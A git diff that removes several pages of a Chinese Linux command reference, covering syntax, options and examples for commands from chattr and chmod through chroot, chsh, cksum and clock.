[root@linuxde ~]# chage -l root
-最近一次密码修改时间                    : 312, 2013
-密码过期时间                            :从不
-密码失效时间                           :从不
-帐户过期时间                           :从不
-两次改变密码之间相距的最小天数          :0
-两次改变密码之间相距的最大天数          :99999
-在密码过期之前警告的天数                :7
-
-

我可以通过如下命令修改我的密码过期时间:

-
[root@linuxde ~]# chage -M 60 root
-[root@linuxde ~]# chage -l root
-最近一次密码修改时间                          : 312, 2013
-密码过期时间                                       : 511, 2013
-密码失效时间                                       :从不
-帐户过期时间                                       :从不
-两次改变密码之间相距的最小天数          :0
-两次改变密码之间相距的最大天数          :60
-在密码过期之前警告的天数                    :9
-
-

然后通过如下命令设置密码失效时间:

-
[root@linuxde ~]# chage -I 5 root
-[root@linuxde ~]# chage -l root
-最近一次密码修改时间                          : 312, 2013
-密码过期时间                                  : 511, 2013
-密码失效时间                                  : 516, 2013
-帐户过期时间                                  :从不
-两次改变密码之间相距的最小天数          :0
-两次改变密码之间相距的最大天数          :60
-在密码过期之前警告的天数                 :9
-
-

从上述命令可以看到,在密码过期后5天,密码自动失效,这个用户将无法登陆系统了。

- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/chattr.html b/linux-command.docset/Contents/Resources/Documents/c/chattr.html deleted file mode 100644 index 15a38a2313..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/chattr.html +++ /dev/null @@ -1,101 +0,0 @@ - - - - - - - - - - - chattr 命令,Linux chattr 命令详解:用来改变文件属性 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

chattr

-

用来改变文件属性

-

补充说明

-

chattr命令 用来改变文件属性。这项指令可改变存放在ext2文件系统上的文件或目录属性,这些属性共有以下8种模式:

-

语法

-
chattr(选项)
-
-

选项

-
a:让文件或目录仅供附加用途;
-b:不更新文件或目录的最后存取时间;
-c:将文件或目录压缩后存放;
-d:将文件或目录排除在倾倒操作之外;
-i:不得任意更动文件或目录;
-s:保密性删除文件或目录;
-S:即时更新文件或目录;
-u:预防意外删除。
-
-
-R:递归处理,将指令目录下的所有文件及子目录一并处理;
--v<版本编号>:设置文件或目录版本;
--V:显示指令执行过程;
-+<属性>:开启文件或目录的该项属性;
--<属性>:关闭文件或目录的该项属性;
-=<属性>:指定文件或目录的该项属性。
-
-

实例

-

用chattr命令防止系统中某个关键文件被修改:

-
chattr +i /etc/fstab
-
-

然后试一下rm、mv、rename等命令操作于该文件,都是得到Operation not permitted的结果。

-

让某个文件只能往里面追加内容,不能删除,一些日志文件适用于这种操作:

-
chattr +a /data1/user_act.log
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/chcon.html b/linux-command.docset/Contents/Resources/Documents/c/chcon.html deleted file mode 100644 index de41a2adb4..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/chcon.html +++ /dev/null @@ -1,112 +0,0 @@ - - - - - - - - - - - chcon 命令,Linux chcon 命令详解:修改对象(文件)的安全上下文 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

chcon

-

修改对象(文件)的安全上下文

-

补充说明

-

chcon命令 是修改对象(文件)的安全上下文,比如:用户、角色、类型、安全级别。也就是将每个文件的安全环境变更至指定环境。使用--reference选项时,把指定文件的安全环境设置为与参考文件相同。chcon命令位于/usr/bin/chcon

-

语法

-
chcon [选项]... 环境 文件...
-chcon [选项]... [-u 用户] [-r 角色] [-l 范围] [-t 类型] 文件...
-chcon [选项]... --reference=参考文件 文件...
-
-

选项

-
-h, --no-dereference:影响符号连接而非引用的文件。
-    --reference=参考文件:使用指定参考文件的安全环境,而非指定值。
--R, --recursive:递归处理所有的文件及子目录。
--v, --verbose:为处理的所有文件显示诊断信息。
--u, --user=用户:设置指定用户的目标安全环境。
--r, --role=角色:设置指定角色的目标安全环境。
--t, --type=类型:设置指定类型的目标安全环境。
--l, --range=范围:设置指定范围的目标安全环境。
-
-

以下选项是在指定了-R选项时被用于设置如何穿越目录结构体系。如果您指定了多于一个选项,那么只有最后一个会生效。

-
-H:如果命令行参数是一个通到目录的符号链接,则遍历符号链接。
--L:遍历每一个遇到的通到目录的符号链接。
--P:不遍历任何符号链接(默认)。
---help:显示此帮助信息并退出。
---version:显示版本信息并退出。
-
-

实例

-

如果你想把这个ftp共享给匿名用户的话,需要开启以下:

-
chcon -R -t public_content_t /var/ftp
-
-

如果你想让你设置的FTP目录可以上传文件的话,SELINUX需要设置:

-
chcon -t public_content_rw_t /var/ftp/incoming
-
-

允许用户HHTP访问其家目录,该设定限仅于用户的家目录主页:

-
setsebool -P httpd_enable_homedirs 1
-chcon -R -t httpd_sys_content_t ~user/public_html
-
-

如果你希望将samba目录共享给其他用户,你需要设置:

-
chcon -t samba_share_t /directory
-
-

共享rsync目录时:

-
chcon -t public_content_t /directories
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/chfn.html b/linux-command.docset/Contents/Resources/Documents/c/chfn.html deleted file mode 100644 index c00c952a40..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/chfn.html +++ /dev/null @@ -1,111 +0,0 @@ - - - - - - - - - - - chfn 命令,Linux chfn 命令详解:用来改变finger命令显示的信息 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

chfn

-

用来改变finger命令显示的信息

-

补充说明

-

chfn命令 用来改变finger命令显示的信息。这些信息都存放在/etc目录里的passwd文件里。若不指定任何选项,则chfn命令会进入问答式界面。

-

语法

-
chfn(选项)(参数)
-
-

选项

-
-f<真实姓名>或--full-name<真实姓名>:设置真实姓名;
--h<家中电话>或--home-phone<家中电话>:设置家中的电话号码;
--o<办公地址>或--office<办公地址>:设置办公室的地址;
--p<办公电话>或--office-phone<办公电话>:设置办公室的电话号码;
--u或--help:在线帮助;
--v或-version:显示版本信息。
-
-

参数

-

用户名:指定要改变finger信息的用户名。

-

实例

-

范例1,改变finger信息:

-
[root@localhost Desktop]# chfn
-Changing finger information for root.
-Name [root]: jack
-Office []: hn
-Office Phone []: 888888
-Home Phone []: 9999999
-
-Finger information changed.
-
-

范例2,改变账号真实姓名:

-
[root@localhost Desktop]# chfn -f jack
-Changing finger information for root.
-Finger information changed.
-
-

范例3:

-
shell>> chfn
-Changing finger information for user
-Password: [del]
-Name[]:linuxde ### 提供 finger 时的资料
-Office[]:NCCU
-Office Phone[]: [del]
-Home Phone[]: [del]
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/chgrp.html b/linux-command.docset/Contents/Resources/Documents/c/chgrp.html deleted file mode 100644 index fcdbe7b0b2..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/chgrp.html +++ /dev/null @@ -1,101 +0,0 @@ - - - - - - - - - - - chgrp 命令,Linux chgrp 命令详解:用来变更文件或目录的所属群组 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

chgrp

-

用来变更文件或目录的所属群组

-

补充说明

-

chgrp命令 用来改变文件或目录所属的用户组。该命令用来改变指定文件所属的用户组。其中,组名可以是用户组的id,也可以是用户组的组名。文件名可以 是由空格分开的要改变属组的文件列表,也可以是由通配符描述的文件集合。如果用户不是该文件的文件主或超级用户(root),则不能改变该文件的组。

-

在UNIX系统家族里,文件或目录权限的掌控以拥有者及所属群组来管理。您可以使用chgrp指令去变更文件与目录的所属群组,设置方式采用群组名称或群组识别码皆可。

-

语法

-
chgrp [选项][组群][文件|目录]
-
-

选项

-
-R 递归式地改变指定目录及其下的所有子目录和文件的所属的组
--c或——changes:效果类似“-v”参数,但仅回报更改的部分;
--f或--quiet或——silent:不显示错误信息;
--h或--no-dereference:只对符号连接的文件作修改,而不是该其他任何相关文件;
--H如果命令行参数是一个通到目录的符号链接,则遍历符号链接
--R或——recursive:递归处理,将指令目录下的所有文件及子目录一并处理;
--L遍历每一个遇到的通到目录的符号链接
--P不遍历任何符号链接(默认)
--v或——verbose:显示指令执行过程;
---reference=<参考文件或目录>:把指定文件或目录的所属群组全部设成和参考文件或目录的所属群组相同;
-
-

参数

-
    -
  • 组:指定新工作名称;
  • -
  • 文件:指定要改变所属组的文件列表。多个文件或者目录之间使用空格隔开。
  • -
-

实例

-

/usr/meng及其子目录下的所有文件的用户组改为mengxin

-
chgrp -R mengxin /usr/meng
-
-

更改文件ah的组群所有者为 newuser

-
[root@rhel ~]# chgrp newuser ah
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/chkconfig.html b/linux-command.docset/Contents/Resources/Documents/c/chkconfig.html deleted file mode 100644 index 68d1b5a667..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/chkconfig.html +++ /dev/null @@ -1,127 +0,0 @@ - - - - - - - - - - - chkconfig 命令,Linux chkconfig 命令详解:检查或设置系统的各种服务 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

chkconfig

-

检查或设置系统的各种服务

-

补充说明

-

chkconfig命令 检查、设置系统的各种服务。这是Red Hat公司遵循GPL规则所开发的程序,它可查询操作系统在每一个执行等级中会执行哪些系统服务,其中包括各类常驻服务。谨记chkconfig不是立即自动禁止或激活一个服务,它只是简单的改变了符号连接。

-

语法

-
chkconfig(选项)
-
-

选项

-
--add:增加所指定的系统服务,让chkconfig指令得以管理它,并同时在系统启动的叙述文件内增加相关数据;
---del:删除所指定的系统服务,不再由chkconfig指令管理,并同时在系统启动的叙述文件内删除相关数据;
---level<等级代号>:指定读系统服务要在哪一个执行等级中开启或关毕。
-
-

缺省的运行级,RHS用到的级别如下:

-
    -
  • 0:关机
  • -
  • 1:单用户模式
  • -
  • 2:无网络支持的多用户模式
  • -
  • 3:有网络支持的多用户模式
  • -
  • 4:保留,未使用
  • -
  • 5:有网络支持有X-Window支持的多用户模式
  • -
  • 6:重新引导系统,即重启
  • -
-

对各个运行级的详细解释:

-
    -
  • 0 为停机,机器关闭。
  • -
  • 1 为单用户模式,就像Win9x下的安全模式类似。
  • -
  • 2 为多用户模式,但是没有NFS支持。
  • -
  • 3 为完整的多用户模式,是标准的运行级。
  • -
  • 4 一般不用,在一些特殊情况下可以用它来做一些事情。例如在笔记本 电脑的电池用尽时,可以切换到这个模式来做一些设置。
  • -
  • 5 就是X11,进到X Window系统了。
  • -
  • 6 为重启,运行init 6机器就会重启。
  • -
-

需要说明的是,level选项可以指定要查看的运行级而不一定是当前运行级。对于每个运行级,只能有一个启动脚本或者停止脚本。当切换运行级时,init不会重新启动已经启动的服务,也不会再次去停止已经停止的服务。

-

运行级文件:

-

每个被chkconfig管理的服务需要在对应的init.d下的脚本加上两行或者更多行的注释。第一行告诉chkconfig缺省启动的运行级以及启动和停止的优先级。如果某服务缺省不在任何运行级启动,那么使用-代替运行级。第二行对服务进行描述,可以用\跨行注释。

-

例如random.init包含三行:

-
# chkconfig: 2345 20 80
-# description: Saves and restores system entropy pool for \
-# higher quality random number generation.
-
-

实例

-
chkconfig --list             #列出所有的系统服务。
-chkconfig --add httpd        #增加httpd服务。
-chkconfig --del httpd        #删除httpd服务。
-chkconfig --level httpd 2345 on        #设置httpd在运行级别为2、3、4、5的情况下都是on(开启)的状态。
-chkconfig --list               # 列出系统所有的服务启动情况。
-chkconfig --list mysqld        # 列出mysqld服务设置情况。
-chkconfig --level 35 mysqld on # 设定mysqld在等级3和5为开机运行服务,--level 35表示操作只在等级3和5执行,on表示启动,off表示关闭。
-chkconfig mysqld on            # 设定mysqld在各等级为on,“各等级”包括2、3、4、5等级。
-
-chkconfig –level redis 2345 on # 把redis在运行级别为2、3、4、5的情况下都是on(开启)的状态。
-
-

如何增加一个服务:

-
    -
  1. 服务脚本必须存放在/etc/ini.d/目录下;
  2. -
  3. chkconfig --add servicename在chkconfig工具服务列表中增加此服务,此时服务会被在/etc/rc.d/rcN.d中赋予K/S入口了;
  4. -
  5. chkconfig --level 35 mysqld on修改服务的默认启动等级。
  6. -
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/chmod.html b/linux-command.docset/Contents/Resources/Documents/c/chmod.html deleted file mode 100644 index 16bc1849af..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/chmod.html +++ /dev/null @@ -1,157 +0,0 @@ - - - - - - - - - - - chmod 命令,Linux chmod 命令详解:用来变更文件或目录的权限 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

chmod

-

用来变更文件或目录的权限

-

概要

-
chmod [OPTION]... MODE[,MODE]... FILE...
-chmod [OPTION]... OCTAL-MODE FILE...
-chmod [OPTION]... --reference=RFILE FILE...
-
-

主要用途

-
    -
  • 通过符号组合的方式更改目标文件或目录的权限。
  • -
  • 通过八进制数的方式更改目标文件或目录的权限。
  • -
  • 通过参考文件的权限来更改目标文件或目录的权限。
  • -
-

参数

-

mode:八进制数或符号组合。

-

file:指定要更改权限的一到多个文件。

-

选项

-
-c, --changes:当文件的权限更改时输出操作信息。
---no-preserve-root:不将'/'特殊化处理,默认选项。
---preserve-root:不能在根目录下递归操作。
--f, --silent, --quiet:抑制多数错误消息的输出。
--v, --verbose:无论文件是否更改了权限,一律输出操作信息。
---reference=RFILE:使用参考文件或参考目录RFILE的权限来设置目标文件或目录的权限。
--R, --recursive:对目录以及目录下的文件递归执行更改权限操作。
---help:显示帮助信息并退出。
---version:显示版本信息并退出。
-
-

返回值

-

返回状态为成功除非给出了非法选项或非法参数。

-

例子

-
-

参考man chmod文档的DESCRIPTION段落得知:

-
    -
  • u符号代表当前用户。
  • -
  • g符号代表和当前用户在同一个组的用户,以下简称组用户。
  • -
  • o符号代表其他用户。
  • -
  • a符号代表所有用户。
  • -
  • r符号代表读权限以及八进制数4
  • -
  • w符号代表写权限以及八进制数2
  • -
  • x符号代表执行权限以及八进制数1
  • -
  • X符号代表如果目标文件是可执行文件或目录,可给其设置可执行权限。
  • -
  • s符号代表设置权限suid和sgid,使用权限组合u+s设定文件的用户的ID位,g+s设置组用户ID位。
  • -
  • t符号代表只有目录或文件的所有者才可以删除目录下的文件。
  • -
  • +符号代表添加目标用户相应的权限。
  • -
  • -符号代表删除目标用户相应的权限。
  • -
  • =符号代表添加目标用户相应的权限,删除未提到的权限。
  • -
-
-
linux文件的用户权限说明:
-
-# 查看当前目录(包含隐藏文件)的长格式。
-ls -la
-  -rw-r--r--   1 user  staff   651 Oct 12 12:53 .gitmodules
-
-# 第1位如果是d则代表目录,是-则代表普通文件。
-# 更多详情请参阅info coreutils 'ls invocation'(ls命令的info文档)的'-l'选项部分。
-# 第2到4位代表当前用户的权限。
-# 第5到7位代表组用户的权限。
-# 第8到10位代表其他用户的权限。
-
-
# 添加组用户的写权限。
-chmod g+w ./test.log
-# 删除其他用户的所有权限。
-chmod o= ./test.log
-# 使得所有用户都没有写权限。
-chmod a-w ./test.log
-# 当前用户具有所有权限,组用户有读写权限,其他用户只有读权限。
-chmod u=rwx, g=rw, o=r ./test.log
-# 等价的八进制数表示:
-chmod 754 ./test.log
-# 将目录以及目录下的文件都设置为所有用户拥有读写权限。
-# 注意,使用'-R'选项一定要保留当前用户的执行和读取权限,否则会报错!
-chmod -R a=rw ./testdir/
-# 根据其他文件的权限设置文件权限。
-chmod --reference=./1.log  ./test.log
-
-

注意

-
    -
  1. -

    该命令是GNU coreutils包中的命令,相关的帮助信息请查看man chmodinfo coreutils 'chmod invocation'

    -
  2. -
  3. -

    符号连接的权限无法变更,如果用户对符号连接修改权限,其改变会作用在被连接的原始文件。

    -
  4. -
  5. -

    使用-R选项一定要保留当前用户的执行和读取权限,否则会报错!

    -
  6. -
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/chown.html b/linux-command.docset/Contents/Resources/Documents/c/chown.html deleted file mode 100644 index c4792692f9..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/chown.html +++ /dev/null @@ -1,95 +0,0 @@ - - - - - - - - - - - chown 命令,Linux chown 命令详解:用来变更文件或目录的拥有者或所属群组 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

chown

-

用来变更文件或目录的拥有者或所属群组

-

补充说明

-

chown命令 改变某个文件或目录的所有者和所属的组,该命令可以向某个用户授权,使该用户变成指定文件的所有者或者改变文件所属的组。用户可以是用户或者是用户D,用户组可以是组名或组id。文件名可以使由空格分开的文件列表,在文件名中可以包含通配符。

-

只有文件主和超级用户才可以便用该命令。

-

语法

-
chown(选项)(参数)
-
-

选项

-
-c或——changes:效果类似“-v”参数,但仅回报更改的部分;
--f或--quite或——silent:不显示错误信息;
--h或--no-dereference:只对符号连接的文件作修改,而不更改其他任何相关文件;
--R或——recursive:递归处理,将指定目录下的所有文件及子目录一并处理;
--v或——version:显示指令执行过程;
---dereference:效果和“-h”参数相同;
---help:在线帮助;
---reference=<参考文件或目录>:把指定文件或目录的拥有者与所属群组全部设成和参考文件或目录的拥有者与所属群组相同;
---version:显示版本信息。
-
-

参数

-

用户:组:指定所有者和所属工作组。当省略“:组”,仅改变文件所有者;
-文件:指定要改变所有者和工作组的文件列表。支持多个文件和目标,支持shell通配符。

-

实例

-

将目录/usr/meng及其下面的所有文件、子目录的文件主改成 liu:

-
chown -R liu /usr/meng
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/chpasswd.html b/linux-command.docset/Contents/Resources/Documents/c/chpasswd.html deleted file mode 100644 index f344fa1a8c..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/chpasswd.html +++ /dev/null @@ -1,86 +0,0 @@ - - - - - - - - - - - chpasswd 命令,Linux chpasswd 命令详解:批量更新用户口令的工具 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

chpasswd

-

批量更新用户口令的工具

-

补充说明

-

chpasswd命令 是批量更新用户口令的工具,是把一个文件内容重新定向添加到/etc/shadow中。

-

语法

-
chpasswd(选项)
-
-

选项

-
-e:输入的密码是加密后的密文;
--h:显示帮助信息并退出;
--m:当被支持的密码未被加密时,使用MD5加密代替DES加密。
-
-

实例

-

先创建用户密码对应文件,格式为username:password,如abc:abc123,必须以这种格式来书写,并且不能有空行,保存成文本文件user.txt,然后执行chpasswd命令:

-
chpasswd < user.txt
-
-

以上是运用chpasswd命令来批量修改密码。是linux系统管理中的捷径。

- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/chroot.html b/linux-command.docset/Contents/Resources/Documents/c/chroot.html deleted file mode 100644 index c69c7defe0..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/chroot.html +++ /dev/null @@ -1,137 +0,0 @@ - - - - - - - - - - - chroot 命令,Linux chroot 命令详解:把根目录换成指定的目的目录 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

chroot

-

把根目录换成指定的目的目录

-

补充说明

-

chroot命令 用来在指定的根目录下运行指令。chroot,即 change root directory (更改 root 目录)。在 linux 系统中,系统默认的目录结构都是以/,即是以根 (root) 开始的。而在使用 chroot 之后,系统的目录结构将以指定的位置作为/位置。

-

在经过 chroot 命令之后,系统读取到的目录和文件将不在是旧系统根下的而是新根下(即被指定的新的位置)的目录结构和文件,因此它带来的好处大致有以下3个:

-

增加了系统的安全性,限制了用户的权力:

-

在经过 chroot 之后,在新根下将访问不到旧系统的根目录结构和文件,这样就增强了系统的安全性。这个一般是在登录 (login) 前使用 chroot,以此达到用户不能访问一些特定的文件。

-

建立一个与原系统隔离的系统目录结构,方便用户的开发:

-

使用 chroot 后,系统读取的是新根下的目录和文件,这是一个与原系统根下文件不相关的目录结构。在这个新的环境中,可以用来测试软件的静态编译以及一些与系统不相关的独立开发。

-

切换系统的根目录位置,引导 Linux 系统启动以及急救系统等:

-

chroot 的作用就是切换系统的根位置,而这个作用最为明显的是在系统初始引导磁盘的处理过程中使用,从初始 RAM 磁盘 (initrd) 切换系统的根位置并执行真正的 init。另外,当系统出现一些问题时,我们也可以使用 chroot 来切换到一个临时的系统。

-

语法

-
chroot(选项)(参数)
-
-

选项

-
--help:在线帮助;
---version:显示版本信息。
-
-

参数

-
    -
  • 目录:指定新的根目录;
  • -
  • 指令:指定要执行的指令。
  • -
-

实例

-

将target作为根目录(运行其中的/bin/sh):

-
chroot target /bin/sh
-
-

这里,target是busybox安装好的路径,类似一个文件系统包含了许多工具。这样,将会进入一个shell界面,这个shell以target为根。运行exit退出该shell又返回原来的本机环境了,也可以使用Ctrl+D。

-

注意:

-
    -
  • 根用户才行
  • -
  • 如果直接chroot target默认寻找target的/bin/bash.这会以target作为根目录
  • -
-

将target作为根目录(运行其中的/bin/ls):

-
chroot target /bin/ls
-
-

这里,target是busybox安装好的路径,类似一个文件系统包含了许多工具。这样运行的是target中的ls(不是本机的/bin/ls),然后返回立即本机的目录环境。

-

注意,自己在本地编译一个程序生成a.out之后,拷进target/bin/中这样运行却不行,因为它包含了动态连接的库,需要用ldd查看a.out需要那些动态库,将这些库拷贝到新根的对应路径下才能执行。

-

用chroot运行自己编译的一个程序:

-

准备chroot的根目录:

-
mkdir newRoot
-
-

编译自己的程序:

-
gcc main.c
-
-

这里main.c生成a.out,功能是输出hello。

-

查看程序需要的库:

-
ldd a.out
-
-

输入之后,输出如下:

-
linux-gate.so.1 = &gt;  (0xb8034000)
-libc.so.6 = &gt; /lib/tls/i686/cmov/libc.so.6 (0xb7eab000)
-/lib/ld-linux.so.2 (0xb801a000)
-
-

将程序需要的库和程序拷贝到新根目录下:

-
cp a.out newRoot
-mkdir newRoot/lib
-cp /lib/tls/i686/cmov/libc.so.6 newRoot/lib
-cp /lib/ld-linux.so.2 newRoot/lib
-
-

这里newRoot内容将如下:

-
a.out lib/
-
-

使用chroot运行自己的程序:

-
su
-chroot newRoot /a.out
-
-

这样就能够正确运行a.out了,因为a.out使用到了其他的动态连接库,所以需要将库拷贝到newRoot中,如果没有其他库那么直接拷贝a.out就能运行。例如静态编译后的busybox,其安装目录中的/bin/busybox就没有依赖其他库。

- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/chsh.html b/linux-command.docset/Contents/Resources/Documents/c/chsh.html deleted file mode 100644 index 1482bb50af..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/chsh.html +++ /dev/null @@ -1,124 +0,0 @@ - - - - - - - - - - - chsh 命令,Linux chsh 命令详解:用来更换登录系统时使用的shell - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

chsh

-

用来更换登录系统时使用的shell

-

补充说明

-

chsh命令 用来更换登录系统时使用的shell。若不指定任何参数与用户名称,则chsh会以应答的方式进行设置。

-

语法

-
chsh(选项)(参数)
-
-

选项

-
-s<shell 名称>或--shell<shell 名称>:更改系统预设的shell环境。;
--l或--list-shells:列出目前系统可用的shell清单;
--u或--help:在线帮助;
--v或-version:显示版本信息。
-
-

参数

-

用户名:要改变默认shell的用户。

-

实例

-

查看系统安装了哪些shell的两种方法:

-

第一种:

-
[rocrocket@localhost ~]$ chsh -l
-/bin/sh
-/bin/bash
-/sbin/nologin
-/bin/zsh
-
-

第二种:

-
[rocrocket@localhost ~]$ cat /etc/shells
-/bin/sh
-/bin/bash
-/sbin/nologin
-/bin/zsh
-
-

其实chsh -l也是来查看这个文件。

-

查看当前正在使用的shell:

-
[rocrocket@localhost ~]$ echo $SHELL
-/bin/bash
-
-

注意SHELL一定要是大写。可以看到,目前使用的shell是/bin/bash

-

把我的shell改成zsh:

-
[rocrocket@localhost ~]$ chsh -s /bin/zsh
-Changing shell for rocrocket.
-Password:
-Shell changed.
-[rocrocket@localhost ~]$
-
-

使用chsh加选项-s就可以修改登录的shell了!你会发现你现在执行echo $SHELL后仍然输出为/bin/bash,这是因为你需要重启你的shell才完全投入到zsh怀抱中去。chsh -s其实修改的就是/etc/passwd文件里和你的用户名相对应的那一行。现在来查看下:

-
[rocrocket@localhost ~]$ cat /etc/passwd|grep ^rocrocket
-rocrocket:x:500:500:rocrocket,China:/rocrocket/PSB/home:/bin/zsh
-
-

你可以发现输出内容的最后部分已经变成了/bin/zsh了,下次重启的时候,linux就会读取这一命令来启动shell了!

-

把shell修改回/bin/bash:

-
[rocrocket@localhost ~]$ chsh -s /bin/bash
-Changing shell for rocrocket.
-Password:
-Shell changed.
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/cksum.html b/linux-command.docset/Contents/Resources/Documents/c/cksum.html deleted file mode 100644 index c2b5a78d9a..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/cksum.html +++ /dev/null @@ -1,93 +0,0 @@ - - - - - - - - - - - cksum 命令,Linux cksum 命令详解:检查文件的CRC是否正确 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

cksum

-

检查文件的CRC是否正确

-

补充说明

-

cksum命令 是检查文件的CRC是否正确,确保文件从一个系统传输到另一个系统的过程中不被损坏。这种方法要求校验和在源系统中被计算出来,在目的系统中又被计算一次,两个数字进行比较,如果校验和相等,则该文件被认为是正确传输了。

-

注意:CRC是指一种排错检查方法,即循环冗余校验法。

-

指定文件交由cksum命令进行校验后,会返回校验结果供用户核对文件是否正确无误。若不指定任何文件名称或是所给予的文件名为"-",则cksum命令会从标准输入设备中读取数据。

-

语法

-
cksum(选项)(参数)
-
-

选项

-
--help:在线帮助;
---version:显示版本信息。
-
-

参数

-

文件:指定要计算校验的版本信息。

-

实例

-

使用cksum命令计算文件"testfile1"的完整性,输入如下命令:

-
cksum testfile1            #对指定文件进行CRC校验
-
-

以上命令执行后,将输出校验码等相关的信息,具体输出信息如下所示:

-
1263453430 78 testfile1     #输出信息
-
-

上面的输出信息中,"1263453430"表示校验码,"78"表示字节数。

-

注意:如果文件中有任何字符被修改,都将改变计算后CRC校验码的值。

- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/clear.html b/linux-command.docset/Contents/Resources/Documents/c/clear.html deleted file mode 100644 index 186a50cb42..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/clear.html +++ /dev/null @@ -1,78 +0,0 @@ - - - - - - - - - - - clear 命令,Linux clear 命令详解:清除当前屏幕终端上的任何信息 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

clear

-

清除当前屏幕终端上的任何信息

-

补充说明

-

clear命令 用于清除当前屏幕终端上的任何信息。

-

语法

-
clear
-
-

实例

-

直接输入clear命令当前终端上的任何信息就可被清除。

- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/clock.html b/linux-command.docset/Contents/Resources/Documents/c/clock.html deleted file mode 100644 index 2165a0ef3f..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/clock.html +++ /dev/null @@ -1,98 +0,0 @@ - - - - - - - - - - - clock 命令,Linux clock 命令详解:用于调整 RTC 时间 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

clock

-

用于调整 RTC 时间

-

补充说明

-

clock命令用于调整 RTC 时间。 RTC 是电脑内建的硬件时间,执行这项指令可以显示现在时刻,调整硬件时钟的时间,将系统时间设成与硬件时钟之时间一致,或是把系统时间回存到硬件时钟。

-

语法

-
clock [--adjust][--debug][--directisa][--getepoch][--hctosys][--set --date="<日期时间>"]
-[--setepoch --epoch=< >][--show][--systohc][--test][--utc][--version]
-
-

选项

-
--adjust  第一次使用"--set""--systohc"参数设置硬件时钟,会在/etc目录下产生一个名称为adjtime的文件。当再次使用这两个参数调整硬件时钟,此文件便会记录两次调整间之差异,日后执行clock指令加上"--adjust"参数时,程序会自动根 据记录文件的数值差异,计算出平均值,自动调整硬件时钟的时间。
---debug  详细显示指令执行过程,便于排错或了解程序执行的情形。
---directisa  告诉clock指令不要通过/dev/rtc设备文件,直接对硬件时钟进行存取。这个参数适用于仅有ISA总线结构的老式电脑。
---getepoch  把系统核心内的硬件时钟新时代数值,呈现到标准输出设备。
---hctosys  Hardware Clock to System Time,把系统时间设成和硬件时钟一致。由于这个动作将会造成系统全面更新文件的存取时间,所以最好在系统启动时就执行它。
---set--date  设置硬件时钟的日期和时间。
---setepoch--epoch=<年份>  设置系统核心之硬件时钟的新时代数值,年份以四位树字表示。
---show  读取硬件时钟的时间,并将其呈现至标准输出设备。
---systohc  System Time to Hardware Clock,将系统时间存回硬件时钟内。
---test  仅作测试,并不真的将时间写入硬件时钟或系统时间。
---utc  把硬件时钟上的时间时为CUT,有时也称为UTC或UCT。
---version  显示版本信息。
-
-

实例

-

获取当前的时间

-
clock # 获取当前的时间
-
-

显示UTC时间

-
clock -utc #显示UTC时间
-
- -
